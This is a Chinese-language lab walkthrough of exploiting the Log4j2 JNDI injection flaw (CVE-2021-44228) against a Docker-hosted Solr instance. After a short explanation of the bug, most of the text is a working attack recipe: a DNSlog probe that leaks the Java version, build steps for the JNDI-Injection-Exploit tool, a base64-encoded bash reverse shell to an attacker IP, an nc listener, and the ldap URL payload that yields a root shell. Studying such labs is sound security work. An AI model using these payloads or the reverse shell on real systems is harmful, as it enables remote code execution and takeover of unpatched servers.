log4j CVE-2021-44228

漏洞简介

log4j2 是 Apache 的一个 java 日志框架,我们借助它进行日志相关操作管理,然而在 2021 年末 log4j2 爆出了远程代码执行漏洞,属于严重等级的漏洞至于漏洞原理,简单说就是当你使用 log4j2 中提供的方法去输出日志信息,比如说最常见的:

String a = "变量输入" 
LOGGER.info("日志信息:{}",a);

我们通过这样的语句输出了一句日志信息,其中 {} 的部分由我们传进去的变量决定,当然一般我们传进去的都是一些很普通的语句,所以不会出什么问题。但如果我们往里面传一些别的代码呢,比如传一个 ${java.os}这样的语句,执行后可以看到:

image-20220511205544713

可以看到它执行了 java.os 的内容把我们操作系统的信息显示出来了,这里存在 JNID 注入

JNDI 注入简单介绍

JNDI,中文名叫 java 命名和目录接口,它为我们提供了命名和目录服务,具体就不多讲了。主要是 JNDI 其中有一个 lookup()方法,这是一个查找方法,上面代码执行结果也正是因为 log4j2 在获取到 ${} 这样的格式的时候会自动的去调用 lookup() 方法。而这个方法的可怕之处就在于,它可以远程加载对象,比如我们传一个像:

lookup("rmi://127.0.0.1/test")
lookup("ldap://127.0.0.1/test")

这样的参数进去,它就可以远程访问到我们(黑客)本地的类,那如果这些类里面有恶意代码的话造成的危害显然是非常严重的。

注入原理

就是将恶意的 Reference 类绑定在 RMI 注册表中,其中恶意引用指向远程恶意的 class 文件,当用户在 JNDI 客户端的 lookup() 函数参数外部可控或 Reference 类构造方法的 classFactoryLocation 参数外部可控时,会使用户的 JNDI 客户端访问 RMI 注册表中绑定的恶意 Reference 类,从而加载远程服务器上的恶意 class 文件在客户端本地执行,最终实现 JNDI 注入攻击导致远程代码执行

利用条件

  • 客户端的 lookup() 方法的参数可控
  • 服务端在使用 Reference 时,classFactoryLocation 参数可控

DNSlog 使用

打开网站:http://www.dnslog.cn/

图片.png

点击 Get SunDomain 获取域名并复制:37uws4.dnslog.cn

图片.png

复制完打开新网页并粘贴在 url 上访问,在 DNSlog 网页内刷新,就会出现一条 DNS 记录

漏洞复现

启动 docker

#启动docker
docker-compose up -d
#查看端口
docker-compose ps

image-20220511211757454

浏览器访问

图片.png

我们先在 dnslog.cn 获取一个域名来监控我们注入的效果:1lqbcq.dnslog.cn

首先肯定要有一个注入点,我们可以发现 /solr/admin/cores? 这里有个参数可以传,可以按照上面的原理先构造一个请求传过去:

cores?action=${jndi:ldap://${sys:java.version}.1lqbcq.dnslog.cn}

查看 dnslog.cn 监控,我们可以看到留下了访问记录并且前面的参数被执行后给我们回显了 java 的版本号

图片.png

我们的目的当然不是版本号,接下来尝试利用漏洞进行命令执行

反弹 shell

这里需要一个工具 JNDI-Injection-Exploit

github 下载地址:https://github.com/sayers522/JNDI-Injection-Exploit

下载及其使用方法
1:下载最新的 jar Realease
2:将源代码克隆到本地并构建(需要 Java 1.8+ 和 Maven 3.x+)。:
$ git clone https://github.com/welk1n/JNDI-Injection-Exploit.git 
$ cd JNDI-注入-利用 
$ mvn clean package -DskipTests 
3:cd JNDI-Injection-Exploit

应用工具 JNDI-Injection-Exploit 搭建服务:格式:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "命令" -A "ip(攻击机)"

这里的命令是想要靶机运行的命令,-A 后放的是发出攻击的电脑的 ip,也是存放 -C 后“命令”的 ip 地址。
首先我们构造反弹 shell 用到的命令

bash -i >& /dev/tcp/传反弹shell的主机ip/端口号 0>&1

ip 这里使用我的虚拟机:192.168.133.128 端口:7660(随便输一个)

bash -i >& /dev/tcp/192.168.133.128/7660 0>&1

反弹 shell 需要经过编码,所以我们对上面那段命令 base64 加密

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzMy4xMjgvNzY2MCAwPiYx

图片.png

构造 payload

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzMy4xMjgvNzY2MCAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.133.128 "

image-20220512162404062

可以看到有三个服务,看到熟悉的 rmi 和 ldap,实际上这个 jar 的作用就是帮我们生成了恶意代码类,并且生成了对应的 url,然后我们就可以回到刚才的网站去进行 JNDI 注入

监控:另起一个终端,监控刚刚的那个端口,这里是 7660

nc -lvvp 7660

image-20220512162253588

回到刚才浏览器的页面,构造 url payload:

/solr/admin/cores?action=${jndi:ldap://192.168.133.128 :1389/whirb2}

直接访问

image-20220512162216206

然后再服务日志中可以看到,网页被重定向到了我们的恶意类地址

图片.png

然后,查看我的监听端,反弹回 shell,查看权限,为 root

image-20220514104755088

参考文章:

https://blog.csdn.net/god_001/article/details/124461938

https://blog.csdn.net/weixin_48739941/article/details/124107479

https://www.pudn.com/news/6279fcca517cd20ea4ea47b9.html